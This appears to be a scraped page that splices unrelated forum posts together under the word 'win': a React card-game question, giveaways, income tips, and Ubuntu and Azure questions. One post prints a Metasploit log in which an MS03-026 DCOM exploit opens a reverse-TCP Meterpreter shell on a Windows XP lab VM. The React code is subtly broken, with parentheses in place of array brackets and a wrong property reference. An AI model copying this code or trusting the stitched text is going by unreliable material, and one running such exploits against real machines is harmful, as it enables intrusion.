jsx – React.js How to make a global win counter?

I’m making my first card game with React.js and I’m stuck at one point.
How can I display the total win count?
For example, if in this game the computer scored 10 points and won, and in the next 15 more points the global counter should show 25.

App.js

import React from "react";
import './App.css';
import Start from "./components/Start";
import Game from "./components/Game";
import Result from "./components/Result";
import {game, result, start} from "./utils/constants";

class App extends React.Component{
    constructor(props) {
        super(props);
        this.state = {
            page: start,
            name: 'You',
            compWins: 0,
            playerWins: 0,
            countWinsPlayer: 0,
            countWinsComp: 0
        }
    }



     changePage = page => {
        this.setState({page});
     }

    changeName = name => {
        this.setState({name});
    }

    changeResult = (compWins, playerWins, countWinsPlayer,countWinsComp) => {
        this.setState({compWins, playerWins,countWinsPlayer,countWinsComp})
    }


    render() {
        switch (this.state.page) {
            case game:
                return <Game
                    name={this.state.name}
                    switchPage={this.changePage}
                    setResult={this.changeResult}/>;
            case result:
                return <Result
                    switchPage={this.changePage}
                    compWins={this.state.compWins}
                    playerWins={this.state.playerWins}
                    countWinsPlayer={this.state.countWinsPlayer}
                    countWinsComp={this.state.countWinsComp}
                    />;
            default:
                return <Start
                    switchName={this.changeName}
                    switchPage={this.changePage}/>;
        }
    }
}

export default App;

Start.js

import React from 'react';
import {game} from "../utils/constants";

class Start extends React.Component {
    constructor(props) {
        super(props);
        this.state = {
            name: ''
        }
    }

    render() {
        return (
            <div>
                <h1>Ready for war</h1>
                <input
                    onChange={(e) => this.setState({name: e.target.value})}
                    value={this.state.name}
                    type='text'
                    placeholder='Enter your name'/>
                <button onClick={() => {
                    this.props.switchPage(game);
                    this.props.switchName(this.state.name)
                }}>Start</button>
            </div>
        );
    }
}

export default Start;

Game.js

import React from 'react';
import {deck, result, shuffle} from "../utils/constants";

class Game extends React.Component {

    constructor(props) {
        super(props);
        this.state = {
            playerCard: 'Player card',
            compCard: 'Computer card',
            compWins: 0,
            playerWins: 0,
            countWinsPlayer: 0,
            countWinsComp: 0
        };
    }


    componentDidMount() {
        const cards = shuffle(deck);
        this.compCards = cards.slice(0, deck.length / 2);
        this.playerCards = cards.slice(deck.length / 2, deck.length);
    }

    handleClickNext = () => {
        if (this.playerCards.length) {
            const player = this.playerCards.pop();
            const comp = this.compCards.pop();

            if (player.rank > comp.rank) {
                //this.setState({playerWins: this.state.playerWins + 1});
                this.setState((state, props) => ({playerWins: state.playerWins + 1}));
                this.setState((state, props) => ({countWinsPlayer: state.countWinsPlayer + 1}));

            }
            if (player.rank < comp.rank) {
                this.setState({compWins: this.state.compWins + 1});
                this.setState({countWinsComp: this.state.countWinsComp + 1});
            }
            this.setState({
                playerCard: `${player.rank}, ${player.suit}`,
                compCard: `${comp.rank}, ${comp.suit}`
            });
        } else {
            this.props.setResult(this.state.compWins, this.state.playerWins, this.state.countWinsPlayer, this.countWinsComp);
            this.props.switchPage(result);
        }
    }

    render() {
        return (
            <div>
                <h1>Computer</h1>
                <p>{this.state.compCard}</p>
                <p>{this.state.playerCard}</p>
                <h1>{this.props.name}</h1>
                <button onClick={this.handleClickNext}>Next</button>
            </div>
        );
    }
}

export default Game;

Result.js

import React from 'react';
import {game} from "../utils/constants";

const Result = ({playerWins, compWins, switchPage, countWinsPlayer,countWinsComp}) => {
    const getResult = () => {
        if (playerWins > compWins) {
            return 'WIN';
        }
        if (playerWins < compWins) {
            return 'LOSE';
        }
        return 'DRAW';
    };
    return (
        <div>
            <h1>{getResult()}</h1>
            <h3>This game:</h3>
            <h3>Your wins {playerWins} - {compWins} Computer wins</h3>
            <h3>Total wins:</h3>
            <h3>Your wins {countWinsPlayer} - {countWinsComp} Computer wins</h3>
            <button onClick={() => switchPage(game)}>Again ?</button>
        </div>
    );
};

export default Result;

constans.js

export const start = 'Home';
export const game = 'Game';
export const result = 'Result';
export const createDeck = () => {
    const deck = ();
    const suits = ('spade', 'club', 'diamond', 'heart');
    for (let i = 0; i < suits.length; i++){
        for (let j = 1; j <= 13; j++){
            deck.push({rank: j, suit: suits(i)});
        }
    }
    return deck;
};
export const deck = createDeck();
export const shuffle = arr => {
    const res = (...arr);
    res.sort(() => Math.random() - 0.5);
    return res;
}

Giveaways – Get a Chance to Win $5 Daily | Proxies123.com

Hi BMFers,

We started live streaming on our Youtube channel and offer the chance to win $5 or 5000 BMF points to one lucky active viewer daily.

The idea behind this giveaway is to make the livestream more active. Hope this will work. Thank you for your support!

Our live is 1 hour and we choose the winner with random.org.

Yesterday winner:

seegv.png

Our Youtube live link:

2 for 1 SPECIAL Need 2 logos you could win either one! $20

Hello friends!

Here is another of my contest!
For those have won on the past you are invited!
Also if you are new in my threads then you are also welcome!
SEMrush

I need 2 logos
first one is

Technocive

Code (markup):

This will be a technology agency specializing in tech support and programming!

and the Second is:

Marco Skills

Code (markup):

This will be a website that will give skills so you can learn how to make money online and in other fields, example how to become a developer as I did! Or how to make money online with youtube, amazon, shopify, eBay etc

Access the websites so you can see the look and match to sites.

Good luck!
Paid by paypal or directly to your bank account wire!
10$ each or 20$ if you win both!
Go ahead and start your engines!

 

What is the top 5 hacks / combination to win 1$ daily?

hello guys
i’ve been checking a lot of great topics in this forum ,but due to time , its hard to read every single article and find interesting methods to win some passive income

for some experienced people in winning money online , what is the top 5 tips / combination(using many methods together) to win money ?
i’ve been using cryptotap in my pc ,with honeygain and packetstream , and in my phone i use clipclaps and crypto treassures
share your tips please

How can you win money with Minecraft Servers and other games?

So I read some guys are looking forward to have dedicated server to be used with a minecraft server. Just wondering how can you make money w… | Read the rest of https://www.webhostingtalk.com/showthread.php?t=1841860&goto=newpost

20.04 – Win Key + D should close menus

When opening the windows / super menu, once open, the win key + D hotkey does not work.
Same behaviour is shown when any gnome menu is open

where as in windows, win key + D always works.

what would be the best way to make win key + d work in the menus / always?
it’s a hotkey that i use a lot.

thx

windows – Unknown Command problem in Meterpreter Win XP session

Using VirtualBox Kali machine to attach Win XP SP0 machine and managing to establish meterpreter session running windows/meterpreter/reverse_tcp which appears to succesfully open a meterpreter session. However, no commands execute at the meterpreter prompt. pwd, ls etc all just respond Unknown command: pwd

msf6 exploit(windows/dcerpc/ms03_026_dcom) > exploit
(*) Started reverse TCP handler on 10.0.2.15:4444 
(*) 10.0.2.16:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
(*) 10.0.2.16:135 - Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:10.0.2.16(135) ...
(*) 10.0.2.16:135 - Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:10.0.2.16(135) ...
(*) 10.0.2.16:135 - Sending exploit ...
(*) Encoded stage with x86/shikata_ga_nai
(*) Sending encoded stage (175203 bytes) to 10.0.2.16
(*) Meterpreter session 8 opened (10.0.2.15:4444 -> 10.0.2.16:1061) at 2021-03-23 06:36:35 -0400
meterpreter > pwd
(-) Unknown command: pwd.

Any help on getting commands to work on remote machine much appreciated.

windows – Access win 10 which is joined in Azure under different name

problem is that in my organization we have one computer registered in azure AD under different computer name from name set on device itself. Now user can’t login to the device and neither I, so there’s no way how to add computer to azure or safe data of user, because we can’t access windows. What we can do is to recovery mode and open command prompt. Is there any way to add there a local administrator account and then get into windows and save user’s data?
I have found this device in Azure Devices under different name and there is working bit locker recovery key.
Thanks a lot

virtual machines – Set computer name of Win 10 VM in Azure Scale Set from specialized image

I have a Win 10 Pro specialized image in a Shared Image Gallery I’m using as a base for a Scale Set. Everything works well except all the VM’s Win computer name are the same which confuses the server app I’m using.

How do I configure a Scale Set to auto set the computer (not resource) name of each VM?

windows – How to check number of parked cores in command line (win, lin) via ssh

I’m wondering how to check number of parked cores via CMD on Windows remotely, via ssh. I’m also using cygwin there, so bash scrips would also help. I tried to look for answers but it usualy directs me to windows GUI resource monitor or 3rd party software which I can’t install on customer’s machine. Any ideas? :] Thx.